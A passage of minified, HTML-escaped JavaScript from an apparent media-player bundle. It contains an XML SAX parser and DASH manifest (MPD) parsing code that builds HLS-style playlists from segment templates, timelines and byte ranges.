lineStart=0,lineEnd=0,linePattern=/.*(?:\r\n?|\n)|.*$/g,locator=domBuilder.locator,parseStack=[{currentNSMap:defaultNSMapCopy}],closeMap={},start=0;for(;;){try{var tagStart=source.indexOf(&quot;&lt;&quot;,start);if(tagStart&lt;0){if(!source.substr(start).match(/^\s*$/)){var doc=domBuilder.doc,text=doc.createTextNode(source.substr(start));doc.appendChild(text),domBuilder.currentElement=text}return}switch(tagStart&gt;start&amp;&amp;appendText(tagStart),source.charAt(tagStart+1)){case&quot;/&quot;:var end=source.indexOf(&quot;&gt;&quot;,tagStart+3),tagName=source.substring(tagStart+2,end).replace(/[ \t\n\r]+$/g,&quot;&quot;),config=parseStack.pop();end&lt;0?(tagName=source.substring(tagStart+2).replace(/[\s&lt;].*/,&quot;&quot;),errorHandler.error(&quot;end tag name: &quot;+tagName+&quot; is not complete:&quot;+config.tagName),end=tagStart+1+tagName.length):tagName.match(/\s&lt;/)&amp;&amp;(tagName=tagName.replace(/[\s&lt;].*/,&quot;&quot;),errorHandler.error(&quot;end tag name: &quot;+tagName+&quot; maybe not complete&quot;),end=tagStart+1+tagName.length);var localNSMap=config.localNSMap,endMatch=config.tagName==tagName;if(endMatch||config.tagName&amp;&amp;config.tagName.toLowerCase()==tagName.toLowerCase()){if(domBuilder.endElement(config.uri,config.localName,tagName),localNSMap)for(var prefix in localNSMap)domBuilder.endPrefixMapping(prefix);endMatch||errorHandler.fatalError(&quot;end tag name: &quot;+tagName+&quot; is not match the current start tagName:&quot;+config.tagName)}else parseStack.push(config);end++;break;case&quot;?&quot;:locator&amp;&amp;position(tagStart),end=parseInstruction(source,tagStart,domBuilder);break;case&quot;!&quot;:locator&amp;&amp;position(tagStart),end=parseDCC(source,tagStart,domBuilder,errorHandler);break;default:locator&amp;&amp;position(tagStart);var el=new ElementAttributes,currentNSMap=parseStack[parseStack.length-1].currentNSMap,len=(end=parseElementStartPart(source,tagStart,el,currentNSMap,entityReplacer,errorHandler),el.length);if(!el.closed&amp;&amp;fixSelfClosed(source,end,el.tagName,closeMap)&amp;&amp;(el.closed=!0,entityMap.nbsp||errorHandler.warning(&quot;unclosed xml attribute&quot;)),locator&amp;&amp;len){for(var locator2=copyLocator(locator,{}),i=0;i&lt;len;i++){var a=el[i];position(a.offset),a.locator=copyLocator(locator,{})}domBuilder.locator=locator2,appendElement$1(el,domBuilder,currentNSMap)&amp;&amp;parseStack.push(el),domBuilder.locator=locator}else appendElement$1(el,domBuilder,currentNSMap)&amp;&amp;parseStack.push(el);NAMESPACE$1.isHTML(el.uri)&amp;&amp;!el.closed?end=parseHtmlSpecialContent(source,end,el.tagName,entityReplacer,domBuilder):end++}}catch(e){if(e instanceof ParseError$1)throw e;errorHandler.error(&quot;element parse error: &quot;+e),end=-1}end&gt;start?start=end:appendText(Math.max(tagStart,start)+1)}}(source,defaultNSMap,entityMap,domBuilder,this.errorHandler),domBuilder.endDocument()}},ElementAttributes.prototype={setTagName:function(tagName){if(!tagNamePattern.test(tagName))throw new Error(&quot;invalid tagName:&quot;+tagName);this.tagName=tagName},addValue:function(qName,value,offset){if(!tagNamePattern.test(qName))throw new Error(&quot;invalid attribute:&quot;+qName);this.attributeNames[qName]=this.length,this[this.length++]={qName:qName,value:value,offset:offset}},length:0,getLocalName:function(i){return this[i].localName},getLocator:function(i){return this[i].locator},getQName:function(i){return this[i].qName},getURI:function(i){return this[i].uri},getValue:function(i){return this[i].value}};var sax={XMLReader:XMLReader$1,ParseError:ParseError$1},DOMImplementation=dom.DOMImplementation,NAMESPACE=conventions.NAMESPACE,ParseError=sax.ParseError,XMLReader=sax.XMLReader;function DOMParser$1(options){this.options=options||{locator:{}}}function DOMHandler(){this.cdata=!1}function position(locator,node){node.lineNumber=locator.lineNumber,node.columnNumber=locator.columnNumber}function _locator(l){if(l)return&quot;\n@&quot;+(l.systemId||&quot;&quot;)+&quot;#[line:&quot;+l.lineNumber+&quot;,col:&quot;+l.columnNumber+&quot;]&quot;}function _toString(chars,start,length){return&quot;string&quot;==typeof chars?chars.substr(start,length):chars.length&gt;=start+length||start?new java.lang.String(chars,start,length)+&quot;&quot;:chars}function appendElement(hander,node){hander.currentElement?hander.currentElement.appendChild(node):hander.doc.appendChild(node)}DOMParser$1.prototype.parseFromString=function(source,mimeType){var options=this.options,sax=new XMLReader,domBuilder=options.domBuilder||new DOMHandler,errorHandler=options.errorHandler,locator=options.locator,defaultNSMap=options.xmlns||{},isHTML=/\/x?html?$/.test(mimeType),entityMap=isHTML?entities.HTML_ENTITIES:entities.XML_ENTITIES;return locator&amp;&amp;domBuilder.setDocumentLocator(locator),sax.errorHandler=function(errorImpl,domBuilder,locator){if(!errorImpl){if(domBuilder instanceof DOMHandler)return domBuilder;errorImpl=domBuilder}var errorHandler={},isCallback=errorImpl instanceof Function;function build(key){var fn=errorImpl[key];!fn&amp;&amp;isCallback&amp;&amp;(fn=2==errorImpl.length?function(msg){errorImpl(key,msg)}:errorImpl),errorHandler[key]=fn&amp;&amp;function(msg){fn(&quot;[xmldom &quot;+key+&quot;]\t&quot;+msg+_locator(locator))}||function(){}}return locator=locator||{},build(&quot;warning&quot;),build(&quot;error&quot;),build(&quot;fatalError&quot;),errorHandler}(errorHandler,domBuilder,locator),sax.domBuilder=options.domBuilder||domBuilder,isHTML&amp;&amp;(defaultNSMap[&quot;&quot;]=NAMESPACE.HTML),defaultNSMap.xml=defaultNSMap.xml||NAMESPACE.XML,source&amp;&amp;&quot;string&quot;==typeof source?sax.parse(source,defaultNSMap,entityMap):sax.errorHandler.error(&quot;invalid doc source&quot;),domBuilder.doc},DOMHandler.prototype={startDocument:function(){this.doc=(new DOMImplementation).createDocument(null,null,null),this.locator&amp;&amp;(this.doc.documentURI=this.locator.systemId)},startElement:function(namespaceURI,localName,qName,attrs){var doc=this.doc,el=doc.createElementNS(namespaceURI,qName||localName),len=attrs.length;appendElement(this,el),this.currentElement=el,this.locator&amp;&amp;position(this.locator,el);for(var i=0;i&lt;len;i++){namespaceURI=attrs.getURI(i);var value=attrs.getValue(i),attr=(qName=attrs.getQName(i),doc.createAttributeNS(namespaceURI,qName));this.locator&amp;&amp;position(attrs.getLocator(i),attr),attr.value=attr.nodeValue=value,el.setAttributeNode(attr)}},endElement:function(namespaceURI,localName,qName){var current=this.currentElement;current.tagName,this.currentElement=current.parentNode},startPrefixMapping:function(prefix,uri){},endPrefixMapping:function(prefix){},processingInstruction:function(target,data){var ins=this.doc.createProcessingInstruction(target,data);this.locator&amp;&amp;position(this.locator,ins),appendElement(this,ins)},ignorableWhitespace:function(ch,start,length){},characters:function(chars,start,length){if(chars=_toString.apply(this,arguments)){if(this.cdata)var charNode=this.doc.createCDATASection(chars);else charNode=this.doc.createTextNode(chars);this.currentElement?this.currentElement.appendChild(charNode):/^\s*$/.test(chars)&amp;&amp;this.doc.appendChild(charNode),this.locator&amp;&amp;position(this.locator,charNode)}},skippedEntity:function(name){},endDocument:function(){this.doc.normalize()},setDocumentLocator:function(locator){(this.locator=locator)&amp;&amp;(locator.lineNumber=0)},comment:function(chars,start,length){chars=_toString.apply(this,arguments);var comm=this.doc.createComment(chars);this.locator&amp;&amp;position(this.locator,comm),appendElement(this,comm)},startCDATA:function(){this.cdata=!0},endCDATA:function(){this.cdata=!1},startDTD:function(name,publicId,systemId){var impl=this.doc.implementation;if(impl&amp;&amp;impl.createDocumentType){var dt=impl.createDocumentType(name,publicId,systemId);this.locator&amp;&amp;position(this.locator,dt),appendElement(this,dt),this.doc.doctype=dt}},warning:function(error){console.warn(&quot;[xmldom warning]\t&quot;+error,_locator(this.locator))},error:function(_error){console.error(&quot;[xmldom error]\t&quot;+_error,_locator(this.locator))},fatalError:function(error){throw new ParseError(error,this.locator)}},&quot;endDTD,startEntity,endEntity,attributeDecl,elementDecl,externalEntityDecl,internalEntityDecl,resolveEntity,getExternalSubset,notationDecl,unparsedEntityDecl&quot;.replace(/\w+/g,(function(key){DOMHandler.prototype[key]=function(){return null}}));var DOMParser={__DOMHandler:DOMHandler,DOMParser:DOMParser$1,DOMImplementation:dom.DOMImplementation,XMLSerializer:dom.XMLSerializer}.DOMParser,isObject=function(obj){return!!obj&amp;&amp;&quot;object&quot;==typeof obj},merge=function merge(){for(var _len=arguments.length,objects=new Array(_len),_key=0;_key&lt;_len;_key++)objects[_key]=arguments[_key];return objects.reduce((function(result,source){return&quot;object&quot;!=typeof source||Object.keys(source).forEach((function(key){Array.isArray(result[key])&amp;&amp;Array.isArray(source[key])?result[key]=result[key].concat(source[key]):isObject(result[key])&amp;&amp;isObject(source[key])?result[key]=merge(result[key],source[key]):result[key]=source[key]})),result}),{})},flatten=function(lists){return lists.reduce((function(x,y){return x.concat(y)}),[])},from=function(list){if(!list.length)return[];for(var result=[],i=0;i&lt;list.length;i++)result.push(list[i]);return result},errors_INVALID_NUMBER_OF_PERIOD=&quot;INVALID_NUMBER_OF_PERIOD&quot;,errors_DASH_EMPTY_MANIFEST=&quot;DASH_EMPTY_MANIFEST&quot;,errors_DASH_INVALID_XML=&quot;DASH_INVALID_XML&quot;,errors_NO_BASE_URL=&quot;NO_BASE_URL&quot;,errors_SEGMENT_TIME_UNSPECIFIED=&quot;SEGMENT_TIME_UNSPECIFIED&quot;,errors_UNSUPPORTED_UTC_TIMING_SCHEME=&quot;UNSUPPORTED_UTC_TIMING_SCHEME&quot;,urlTypeToSegment=function(_ref){var _ref$baseUrl=_ref.baseUrl,baseUrl=void 0===_ref$baseUrl?&quot;&quot;:_ref$baseUrl,_ref$source=_ref.source,source=void 0===_ref$source?&quot;&quot;:_ref$source,_ref$range=_ref.range,range=void 0===_ref$range?&quot;&quot;:_ref$range,_ref$indexRange=_ref.indexRange,indexRange=void 0===_ref$indexRange?&quot;&quot;:_ref$indexRange,segment={uri:source,resolvedUri:resolveUrl$1(baseUrl||&quot;&quot;,source)};if(range||indexRange){var ranges=(range||indexRange).split(&quot;-&quot;),startRange=parseInt(ranges[0],10),endRange=parseInt(ranges[1],10);segment.byterange={length:endRange-startRange+1,offset:startRange}}return segment},parseEndNumber=function(endNumber){return endNumber&amp;&amp;&quot;number&quot;!=typeof endNumber&amp;&amp;(endNumber=parseInt(endNumber,10)),isNaN(endNumber)?null:endNumber},segmentRange={static:function(attributes){var duration=attributes.duration,_attributes$timescale=attributes.timescale,timescale=void 0===_attributes$timescale?1:_attributes$timescale,sourceDuration=attributes.sourceDuration,periodDuration=attributes.periodDuration,endNumber=parseEndNumber(attributes.endNumber),segmentDuration=duration/timescale;return&quot;number&quot;==typeof endNumber?{start:0,end:endNumber}:&quot;number&quot;==typeof periodDuration?{start:0,end:periodDuration/segmentDuration}:{start:0,end:sourceDuration/segmentDuration}},dynamic:function(attributes){var NOW=attributes.NOW,clientOffset=attributes.clientOffset,availabilityStartTime=attributes.availabilityStartTime,_attributes$timescale2=attributes.timescale,timescale=void 0===_attributes$timescale2?1:_attributes$timescale2,duration=attributes.duration,_attributes$start=attributes.start,start=void 0===_attributes$start?0:_attributes$start,_attributes$minimumUp=attributes.minimumUpdatePeriod,minimumUpdatePeriod=void 0===_attributes$minimumUp?0:_attributes$minimumUp,_attributes$timeShift=attributes.timeShiftBufferDepth,timeShiftBufferDepth=void 0===_attributes$timeShift?1/0:_attributes$timeShift,endNumber=parseEndNumber(attributes.endNumber),now=(NOW+clientOffset)/1e3,periodStartWC=availabilityStartTime+start,periodDuration=now+minimumUpdatePeriod-periodStartWC,segmentCount=Math.ceil(periodDuration*timescale/duration),availableStart=Math.floor((now-periodStartWC-timeShiftBufferDepth)*timescale/duration),availableEnd=Math.floor((now-periodStartWC)*timescale/duration);return{start:Math.max(0,availableStart),end:&quot;number&quot;==typeof endNumber?endNumber:Math.min(segmentCount,availableEnd)}}},parseByDuration=function(attributes){var type=attributes.type,duration=attributes.duration,_attributes$timescale4=attributes.timescale,timescale=void 0===_attributes$timescale4?1:_attributes$timescale4,periodDuration=attributes.periodDuration,sourceDuration=attributes.sourceDuration,_segmentRange$type=segmentRange[type](attributes),segments=function(start,end){for(var result=[],i=start;i&lt;end;i++)result.push(i);return result}(_segmentRange$type.start,_segmentRange$type.end).map(function(attributes){return function(number,index){var duration=attributes.duration,_attributes$timescale3=attributes.timescale,timescale=void 0===_attributes$timescale3?1:_attributes$timescale3,periodIndex=attributes.periodIndex,_attributes$startNumb=attributes.startNumber;return{number:(void 0===_attributes$startNumb?1:_attributes$startNumb)+number,duration:duration/timescale,timeline:periodIndex,time:index*duration}}}(attributes));if(&quot;static&quot;===type){var index=segments.length-1,sectionDuration=&quot;number&quot;==typeof periodDuration?periodDuration:sourceDuration;segments[index].duration=sectionDuration-duration/timescale*index}return segments},segmentsFromBase=function(attributes){var baseUrl=attributes.baseUrl,_attributes$initializ=attributes.initialization,initialization=void 0===_attributes$initializ?{}:_attributes$initializ,sourceDuration=attributes.sourceDuration,_attributes$indexRang=attributes.indexRange,indexRange=void 0===_attributes$indexRang?&quot;&quot;:_attributes$indexRang,duration=attributes.duration;if(!baseUrl)throw new Error(errors_NO_BASE_URL);var initSegment=urlTypeToSegment({baseUrl:baseUrl,source:initialization.sourceURL,range:initialization.range}),segment=urlTypeToSegment({baseUrl:baseUrl,source:baseUrl,indexRange:indexRange});if(segment.map=initSegment,duration){var segmentTimeInfo=parseByDuration(attributes);segmentTimeInfo.length&amp;&amp;(segment.duration=segmentTimeInfo[0].duration,segment.timeline=segmentTimeInfo[0].timeline)}else sourceDuration&amp;&amp;(segment.duration=sourceDuration,segment.timeline=0);return segment.number=0,[segment]},addSidxSegmentsToPlaylist=function(playlist,sidx,baseUrl){for(var initSegment=playlist.sidx.map?playlist.sidx.map:null,sourceDuration=playlist.sidx.duration,timeline=playlist.timeline||0,sidxByteRange=playlist.sidx.byterange,sidxEnd=sidxByteRange.offset+sidxByteRange.length,timescale=sidx.timescale,mediaReferences=sidx.references.filter((function(r){return 1!==r.referenceType})),segments=[],type=playlist.endList?&quot;static&quot;:&quot;dynamic&quot;,startIndex=sidxEnd+sidx.firstOffset,i=0;i&lt;mediaReferences.length;i++){var reference=sidx.references[i],size=reference.referencedSize,duration=reference.subsegmentDuration,segment=segmentsFromBase({baseUrl:baseUrl,timescale:timescale,timeline:timeline,periodIndex:timeline,duration:duration,sourceDuration:sourceDuration,indexRange:startIndex+&quot;-&quot;+(startIndex+size-1),type:type})[0];initSegment&amp;&amp;(segment.map=initSegment),segments.push(segment),startIndex+=size}return playlist.segments=segments,playlist},generateSidxKey=function(sidx){return sidx&amp;&amp;sidx.uri+&quot;-&quot;+(byterange=sidx.byterange,endRange=byterange.offset+byterange.length-1,byterange.offset+&quot;-&quot;+endRange);var byterange,endRange},mergeDiscontiguousPlaylists=function(playlists){var o;return(o=playlists.reduce((function(acc,playlist){var _acc$name$segments,name=playlist.attributes.id+(playlist.attributes.lang||&quot;&quot;);return acc[name]?(playlist.segments[0]&amp;&amp;(playlist.segments[0].discontinuity=!0),(_acc$name$segments=acc[name].segments).push.apply(_acc$name$segments,playlist.segments),playlist.attributes.contentProtection&amp;&amp;(acc[name].attributes.contentProtection=playlist.attributes.contentProtection)):acc[name]=playlist,acc}),{}),Object.keys(o).map((function(k){return o[k]}))).map((function(playlist){var l,key;return playlist.discontinuityStarts=(l=playlist.segments,key=&quot;discontinuity&quot;,l.reduce((function(a,e,i){return e[key]&amp;&amp;a.push(i),a}),[])),playlist}))},addSidxSegmentsToPlaylist$1=function(playlist,sidxMapping){var sidxKey=generateSidxKey(playlist.sidx),sidxMatch=sidxKey&amp;&amp;sidxMapping[sidxKey]&amp;&amp;sidxMapping[sidxKey].sidx;return sidxMatch&amp;&amp;addSidxSegmentsToPlaylist(playlist,sidxMatch,playlist.sidx.resolvedUri),playlist},addSidxSegmentsToPlaylists=function(playlists,sidxMapping){if(void 0===sidxMapping&amp;&amp;(sidxMapping={}),!Object.keys(sidxMapping).length)return playlists;for(var i in playlists)playlists[i]=addSidxSegmentsToPlaylist$1(playlists[i],sidxMapping);return playlists},formatVideoPlaylist=function(_ref3){var _attributes2,attributes=_ref3.attributes,segments=_ref3.segments,sidx=_ref3.sidx,playlist={attributes:(_attributes2={NAME:attributes.id,AUDIO:&quot;audio&quot;,SUBTITLES:&quot;subs&quot;,RESOLUTION:{width:attributes.width,height:attributes.height},CODECS:attributes.codecs,BANDWIDTH:attributes.bandwidth},_attributes2[&quot;PROGRAM-ID&quot;]=1,_attributes2),uri:&quot;&quot;,endList:&quot;static&quot;===attributes.type,timeline:attributes.periodIndex,resolvedUri:&quot;&quot;,targetDuration:attributes.duration,segments:segments,mediaSequence:segments.length?segments[0].number:1};return attributes.contentProtection&amp;&amp;(playlist.contentProtection=attributes.contentProtection),sidx&amp;&amp;(playlist.sidx=sidx),playlist},videoOnly=function(_ref4){var attributes=_ref4.attributes;return&quot;video/mp4&quot;===attributes.mimeType||&quot;video/webm&quot;===attributes.mimeType||&quot;video&quot;===attributes.contentType},audioOnly=function(_ref5){var attributes=_ref5.attributes;return&quot;audio/mp4&quot;===attributes.mimeType||&quot;audio/webm&quot;===attributes.mimeType||&quot;audio&quot;===attributes.contentType},vttOnly=function(_ref6){var attributes=_ref6.attributes;return&quot;text/vtt&quot;===attributes.mimeType||&quot;text&quot;===attributes.contentType},toM3u8=function(dashPlaylists,locations,sidxMapping){var _mediaGroups;if(void 0===sidxMapping&amp;&amp;(sidxMapping={}),!dashPlaylists.length)return{};var _dashPlaylists$0$attr=dashPlaylists[0].attributes,duration=_dashPlaylists$0$attr.sourceDuration,type=_dashPlaylists$0$attr.type,suggestedPresentationDelay=_dashPlaylists$0$attr.suggestedPresentationDelay,minimumUpdatePeriod=_dashPlaylists$0$attr.minimumUpdatePeriod,videoPlaylists=mergeDiscontiguousPlaylists(dashPlaylists.filter(videoOnly)).map(formatVideoPlaylist),audioPlaylists=mergeDiscontiguousPlaylists(dashPlaylists.filter(audioOnly)),vttPlaylists=dashPlaylists.filter(vttOnly),captions=dashPlaylists.map((function(playlist){return playlist.attributes.captionServices})).filter(Boolean),manifest={allowCache:!0,discontinuityStarts:[],segments:[],endList:!0,mediaGroups:(_mediaGroups={AUDIO:{},VIDEO:{}},_mediaGroups[&quot;CLOSED-CAPTIONS&quot;]={},_mediaGroups.SUBTITLES={},_mediaGroups),uri:&quot;&quot;,duration:duration,playlists:addSidxSegmentsToPlaylists(videoPlaylists,sidxMapping)};minimumUpdatePeriod&gt;=0&amp;&amp;(manifest.minimumUpdatePeriod=1e3*minimumUpdatePeriod),locations&amp;&amp;(manifest.locations=locations),&quot;dynamic&quot;===type&amp;&amp;(manifest.suggestedPresentationDelay=suggestedPresentationDelay);var isAudioOnly=0===manifest.playlists.length;return audioPlaylists.length&amp;&amp;(manifest.mediaGroups.AUDIO.audio=function(playlists,sidxMapping,isAudioOnly){var mainPlaylist;void 0===sidxMapping&amp;&amp;(sidxMapping={}),void 0===isAudioOnly&amp;&amp;(isAudioOnly=!1);var formattedPlaylists=playlists.reduce((function(a,playlist){var role=playlist.attributes.role&amp;&amp;playlist.attributes.role.value||&quot;&quot;,language=playlist.attributes.lang||&quot;&quot;,label=playlist.attributes.label||&quot;main&quot;;if(language&amp;&amp;!playlist.attributes.label){var roleLabel=role?&quot; (&quot;+role+&quot;)&quot;:&quot;&quot;;label=&quot;&quot;+playlist.attributes.lang+roleLabel}a[label]||(a[label]={language:language,autoselect:!0,default:&quot;main&quot;===role,playlists:[],uri:&quot;&quot;});var formatted=addSidxSegmentsToPlaylist$1(function(_ref,isAudioOnly){var _attributes,attributes=_ref.attributes,segments=_ref.segments,sidx=_ref.sidx,playlist={attributes:(_attributes={NAME:attributes.id,BANDWIDTH:attributes.bandwidth,CODECS:attributes.codecs},_attributes[&quot;PROGRAM-ID&quot;]=1,_attributes),uri:&quot;&quot;,endList:&quot;static&quot;===attributes.type,timeline:attributes.periodIndex,resolvedUri:&quot;&quot;,targetDuration:attributes.duration,segments:segments,mediaSequence:segments.length?segments[0].number:1};return attributes.contentProtection&amp;&amp;(playlist.contentProtection=attributes.contentProtection),sidx&amp;&amp;(playlist.sidx=sidx),isAudioOnly&amp;&amp;(playlist.attributes.AUDIO=&quot;audio&quot;,playlist.attributes.SUBTITLES=&quot;subs&quot;),playlist}(playlist,isAudioOnly),sidxMapping);return a[label].playlists.push(formatted),void 0===mainPlaylist&amp;&amp;&quot;main&quot;===role&amp;&amp;((mainPlaylist=playlist).default=!0),a}),{});return mainPlaylist||(formattedPlaylists[Object.keys(formattedPlaylists)[0]].default=!0),formattedPlaylists}(audioPlaylists,sidxMapping,isAudioOnly)),vttPlaylists.length&amp;&amp;(manifest.mediaGroups.SUBTITLES.subs=function(playlists,sidxMapping){return void 0===sidxMapping&amp;&amp;(sidxMapping={}),playlists.reduce((function(a,playlist){var label=playlist.attributes.lang||&quot;text&quot;;return a[label]||(a[label]={language:label,default:!1,autoselect:!1,playlists:[],uri:&quot;&quot;}),a[label].playlists.push(addSidxSegmentsToPlaylist$1(function(_ref2){var _m3u8Attributes,attributes=_ref2.attributes,segments=_ref2.segments;void 0===segments&amp;&amp;(segments=[{uri:attributes.baseUrl,timeline:attributes.periodIndex,resolvedUri:attributes.baseUrl||&quot;&quot;,duration:attributes.sourceDuration,number:0}],attributes.duration=attributes.sourceDuration);var m3u8Attributes=((_m3u8Attributes={NAME:attributes.id,BANDWIDTH:attributes.bandwidth})[&quot;PROGRAM-ID&quot;]=1,_m3u8Attributes);return attributes.codecs&amp;&amp;(m3u8Attributes.CODECS=attributes.codecs),{attributes:m3u8Attributes,uri:&quot;&quot;,endList:&quot;static&quot;===attributes.type,timeline:attributes.periodIndex,resolvedUri:attributes.baseUrl||&quot;&quot;,targetDuration:attributes.duration,segments:segments,mediaSequence:segments.length?segments[0].number:1}}(playlist),sidxMapping)),a}),{})}(vttPlaylists,sidxMapping)),captions.length&amp;&amp;(manifest.mediaGroups[&quot;CLOSED-CAPTIONS&quot;].cc=captions.reduce((function(svcObj,svc){return svc?(svc.forEach((function(service){var channel=service.channel,language=service.language;svcObj[language]={autoselect:!1,default:!1,instreamId:channel,language:language},service.hasOwnProperty(&quot;aspectRatio&quot;)&amp;&amp;(svcObj[language].aspectRatio=service.aspectRatio),service.hasOwnProperty(&quot;easyReader&quot;)&amp;&amp;(svcObj[language].easyReader=service.easyReader),service.hasOwnProperty(&quot;3D&quot;)&amp;&amp;(svcObj[language][&quot;3D&quot;]=service[&quot;3D&quot;])})),svcObj):svcObj}),{})),manifest},getLiveRValue=function(attributes,time,duration){var NOW=attributes.NOW,clientOffset=attributes.clientOffset,availabilityStartTime=attributes.availabilityStartTime,_attributes$timescale=attributes.timescale,timescale=void 0===_attributes$timescale?1:_attributes$timescale,_attributes$start=attributes.start,start=void 0===_attributes$start?0:_attributes$start,_attributes$minimumUp=attributes.minimumUpdatePeriod,periodDuration=(NOW+clientOffset)/1e3+(void 0===_attributes$minimumUp?0:_attributes$minimumUp)-(availabilityStartTime+start);return Math.ceil((periodDuration*timescale-time)/duration)},parseByTimeline=function(attributes,segmentTimeline){for(var type=attributes.type,_attributes$minimumUp2=attributes.minimumUpdatePeriod,minimumUpdatePeriod=void 0===_attributes$minimumUp2?0:_attributes$minimumUp2,_attributes$media=attributes.media,media=void 0===_attributes$media?&quot;&quot;:_attributes$media,sourceDuration=attributes.sourceDuration,_attributes$timescale2=attributes.timescale,timescale=void 0===_attributes$timescale2?1:_attributes$timescale2,_attributes$startNumb=attributes.startNumber,startNumber=void 0===_attributes$startNumb?1:_attributes$startNumb,timeline=attributes.periodIndex,segments=[],time=-1,sIndex=0;sIndex&lt;segmentTimeline.length;sIndex++){var S=segmentTimeline[sIndex],duration=S.d,repeat=S.r||0,segmentTime=S.t||0;time&lt;0&amp;&amp;(time=segmentTime),segmentTime&amp;&amp;segmentTime&gt;time&amp;&amp;(time=segmentTime);var count=void 0;if(repeat&lt;0){var nextS=sIndex+1;count=nextS===segmentTimeline.length?&quot;dynamic&quot;===type&amp;&amp;minimumUpdatePeriod&gt;0&amp;&amp;media.indexOf(&quot;$Number$&quot;)&gt;0?getLiveRValue(attributes,time,duration):(sourceDuration*timescale-time)/duration:(segmentTimeline[nextS].t-time)/duration}else count=repeat+1;for(var end=startNumber+segments.length+count,number=startNumber+segments.length;number&lt;end;)segments.push({number:number,duration:duration/timescale,time:time,timeline:timeline}),time+=duration,number++}return segments},identifierPattern=/\$([A-z]*)(?:(%0)([0-9]+)d)?\$/g,constructTemplateUrl=function(url,values){return url.replace(identifierPattern,function(values){return function(match,identifier,format,width){if(&quot;$$&quot;===match)return&quot;$&quot;;if(void 0===values[identifier])return match;var value=&quot;&quot;+values[identifier];return&quot;RepresentationID&quot;===identifier?value:(width=format?parseInt(width,10):1,value.length&gt;=width?value:&quot;&quot;+new Array(width-value.length+1).join(&quot;0&quot;)+value)}}(values))},segmentsFromTemplate=function(attributes,segmentTimeline){var templateValues={RepresentationID:attributes.id,Bandwidth:attributes.bandwidth||0},_attributes$initializ=attributes.initialization,initialization=void 0===_attributes$initializ?{sourceURL:&quot;&quot;,range:&quot;&quot;}:_attributes$initializ,mapSegment=urlTypeToSegment({baseUrl:attributes.baseUrl,source:constructTemplateUrl(initialization.sourceURL,templateValues),range:initialization.range}),segments=function(attributes,segmentTimeline){return attributes.duration||segmentTimeline?attributes.duration?parseByDuration(attributes):parseByTimeline(attributes,segmentTimeline):[{number:attributes.startNumber||1,duration:attributes.sourceDuration,time:0,timeline:attributes.periodIndex}]}(attributes,segmentTimeline);return segments.map((function(segment){templateValues.Number=segment.number,templateValues.Time=segment.time;var uri=constructTemplateUrl(attributes.media||&quot;&quot;,templateValues),timescale=attributes.timescale||1,presentationTimeOffset=attributes.presentationTimeOffset||0,presentationTime=attributes.periodStart+(segment.time-presentationTimeOffset)/timescale;return{uri:uri,timeline:segment.timeline,duration:segment.duration,resolvedUri:resolveUrl$1(attributes.baseUrl||&quot;&quot;,uri),map:mapSegment,number:segment.number,presentationTime:presentationTime}}))},segmentsFromList=function(attributes,segmentTimeline){var duration=attributes.duration,_attributes$segmentUr=attributes.segmentUrls,segmentUrls=void 0===_attributes$segmentUr?[]:_attributes$segmentUr,periodStart=attributes.periodStart;if(!duration&amp;&amp;!segmentTimeline||duration&amp;&amp;segmentTimeline)throw new Error(errors_SEGMENT_TIME_UNSPECIFIED);var segmentTimeInfo,segmentUrlMap=segmentUrls.map((function(segmentUrlObject){return function(attributes,segmentUrl){var baseUrl=attributes.baseUrl,_attributes$initializ=attributes.initialization,initialization=void 0===_attributes$initializ?{}:_attributes$initializ,initSegment=urlTypeToSegment({baseUrl:baseUrl,source:initialization.sourceURL,range:initialization.range}),segment=urlTypeToSegment({baseUrl:baseUrl,source:segmentUrl.media,range:segmentUrl.mediaRange});return segment.map=initSegment,segment}(attributes,segmentUrlObject)}));return duration&amp;&amp;(segmentTimeInfo=parseByDuration(attributes)),segmentTimeline&amp;&amp;(segmentTimeInfo=parseByTimeline(attributes,segmentTimeline)),segmentTimeInfo.map((function(segmentTime,index){if(segmentUrlMap[index]){var segment=segmentUrlMap[index],timescale=attributes.timescale||1,presentationTimeOffset=attributes.presentationTimeOffset||0;return segment.timeline=segmentTime.timeline,segment.duration=segmentTime.duration,segment.number=segmentTime.number,segment.presentationTime=periodStart+(segmentTime.time-presentationTimeOffset)/timescale,segment}})).filter((function(segment){return segment}))},generateSegments=function(_ref){var segmentAttributes,segmentsFn,attributes=_ref.attributes,segmentInfo=_ref.segmentInfo;segmentInfo.template?(segmentsFn=segmentsFromTemplate,segmentAttributes=merge(attributes,segmentInfo.template)):segmentInfo.base?(segmentsFn=segmentsFromBase,segmentAttributes=merge(attributes,segmentInfo.base)):segmentInfo.list&amp;&amp;(segmentsFn=segmentsFromList,segmentAttributes=merge(attributes,segmentInfo.list));var segmentsInfo={attributes:attributes};if(!segmentsFn)return segmentsInfo;var segments=segmentsFn(segmentAttributes,segmentInfo.segmentTimeline);if(segmentAttributes.duration){var _segmentAttributes=segmentAttributes,duration=_segmentAttributes.duration,_segmentAttributes$ti=_segmentAttributes.timescale,timescale=void 0===_segmentAttributes$ti?1:_segmentAttributes$ti;segmentAttributes.duration=duration/timescale}else segments.length?segmentAttributes.duration=segments.reduce((function(max,segment){return Math.max(max,Math.ceil(segment.duration))}),0):segmentAttributes.duration=0;return segmentsInfo.attributes=segmentAttributes,segmentsInfo.segments=segments,segmentInfo.base&amp;&amp;segmentAttributes.indexRange&amp;&amp;(segmentsInfo.sidx=segments[0],segmentsInfo.segments=[]),segmentsInfo},findChildren=function(element,name){return from(element.childNodes).filter((function(_ref){return _ref.tagName===name}))},getContent=function(element){return element.textContent.trim()},parseDuration=function(str){var match=/P(?:(\d*)Y)?(?:(\d*)M)?(?:(\d*)D)?(?:T(?:(\d*)H)?(?:(\d*)M)?(?:([\d.]*)S)?)?/.exec(str);if(!match)return 0;var _match$slice=match.slice(1),year=_match$slice[0],month=_match$slice[1],day=_match$slice[2],hour=_match$slice[3],minute=_match$slice[4],second=_match$slice[5];return 31536e3*parseFloat(year||0)+2592e3*parseFloat(month||0)+86400*parseFloat(day||0)+3600*parseFloat(hour||0)+60*parseFloat(minute||0)+parseFloat(second||0)},parsers={mediaPresentationDuration:function(value){return parseDuration(value)},availabilityStartTime:function(value){return/^\d+-\d+-\d+T\d+:\d+:\d+(\.\d+)?$/.test(str=value)&amp;&amp;(str+=&quot;Z&quot;),Date.parse(str)/1e3;var str},minimumUpdatePeriod:function(value){return parseDuration(value)},suggestedPresentationDelay:function(value){return parseDuration(value)},type:function(value){return value},timeShiftBufferDepth:function(value){return parseDuration(value)},start:function(value){return parseDuration(value)},width:function(value){return parseInt(value,10)},height:function(value){return 